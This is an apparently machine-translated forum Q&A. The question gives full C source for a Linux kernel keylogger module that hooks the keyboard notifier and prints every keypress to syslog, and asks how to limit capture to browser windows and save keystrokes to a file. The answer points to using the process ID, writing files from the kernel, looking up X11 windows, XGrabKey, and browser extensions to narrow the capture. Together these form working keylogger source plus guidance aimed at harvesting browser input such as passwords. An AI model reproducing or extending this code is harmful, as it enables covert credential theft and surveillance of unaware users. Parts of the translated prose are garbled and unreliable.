Kernel module to determine if a key was pressed from a browser window

Question

I have a core kernel module that writes all keystrokes to syslog. I need to register only those keystrokes that are made in the browser. Is there a way to find the process ID of the application that caused the interrupt? Also, is there a way to save keystrokes to a file? can someone help pls .. :)

#include <linux/module.h> #include <linux/kernel.h> #include <linux/keyboard.h> #include <linux/notifier.h> MODULE_LICENSE("GPL"); #ifdef notifier_block struct notifier_block { int (*notifier_call)(struct notifier_block *, unsigned long, void *); struct notifier_block *next; int priority; }; #endif char call(int v) { char val=NULL; if (v == 16) {val='q';} else if (v == 17) {val='w';} else if (v == 18) {val='e';} else if (v == 19) {val='r';} else if (v == 20) {val='t';} else if (v == 21) {val='y';} else if (v == 22) {val='u';} else if (v == 23) {val='i';} else if (v == 24) {val='o';} else if (v == 25) {val='p';} else if (v == 30) {val='a';} else if (v == 31) {val='s';} else if (v == 32) {val='d';} else if (v == 33) {val='f';} else if (v == 34) {val='g';} else if (v == 35) {val='h';} else if (v == 36) {val='j';} else if (v == 37) {val='k';} else if (v == 38) {val='l';} else if (v == 44) {val='z';} else if (v == 45) {val='x';} else if (v == 46) {val='c';} else if (v == 47) {val='v';} else if (v == 48) {val='b';} else if (v == 49) {val='n';} else if (v == 50) {val='m';} else if (v == 28) {val='\n';} else if (v == 57) {val='\t';} else if (v == 51) {val=',';} else if (v == 78) {val='+';} else if (v == 55) {val='*';} else if (v == 98) {val='/';} else if (v == 13) {val='=';} else if (v == 39) {val=';';} else if ((v == 11)||(v == 82)) {val='0';} else if ((v == 2)||(v == 79)) {val='1';} else if ((v == 3)||(v == 80)) {val='2';} else if ((v == 4)||(v == 81)) {val='3';} else if ((v == 5)||(v == 75)) {val='4';} else if ((v == 6)||(v == 76)) {val='5';} else if ((v == 7)||(v == 77)) {val='6';} else if ((v == 8)||(v == 71)) {val='7';} else if ((v == 9)||(v == 72)) {val='8';} else if ((v == 10)||(v == 73)) {val='9';} else if ((v == 12)||(v == 74)) {val='-';} else if ((v == 83)||(v== 52)) {val='.';} return val; } int hello_notify(struct notifier_block *nblock, unsigned long code, void *_param) { struct keyboard_notifier_param *param = _param;//local reference struct vc_data *vc = param->vc; char val; int ret = NOTIFY_OK; if (code == KBD_KEYCODE) { val=call(param->value); if(param->down) { printk(KERN_INFO "KEYLOGGER %c",val); c=val; } // printk(KERN_DEBUG "KEYLOGGER %i %s\n", param->value, (param->down ? "down" : "up")); } return ret; } static struct notifier_block nb = { .notifier_call = hello_notify }; EXPORT_SYMBOL_NOVERS(notifier_block); static int hello_init(void) { register_keyboard_notifier(&nb); return 0; } static void hello_release(void) { unregister_keyboard_notifier(&nb); } module_init(hello_init); module_exit(hello_release); 

Answer 1

Is there a way to find the process ID of the application that caused the interrupt?

 current->pid 

after including #include <linux/sched.h>

will tell you a process that has been interrupted in accordance with the following question about stack overflow and Linux Chapter 6, “Interrupt Context” .

It is assumed that you call current->pid from the interrupt context that your notifier should be in if you are not doing heavy calculations in your notification, which should not be done.

If you are in the context of a process or have a proactive kernel like Andrew Medico and use a macro to get information about current , this will be changed by the scheduler if any significant time has passed.

According to TheCodeArtist's comment , the following response to a stack overflow demonstrates writing to files. It’s nice to do an IO file in the kernel, especially from an interrupt context.

An example of writing keystrokes to a buffer in memory instead of a file is available here .

The following question shows how to get the process name from the process ID.

However, all this gives you keystrokes for the process with the given name; it cannot determine that the process with the name has any connection with the browser window.

See the next stack overflow question for how to get the X11 window from a process ID and the next stack. Overflow issue with XGrabKey and Xlib to capture keys in user space.

A more reliable way to ensure that keypress from a specific browser, not only does it at the user space level, but also at the browser plugin or extension level. Chrome example: here , and Firefox example here .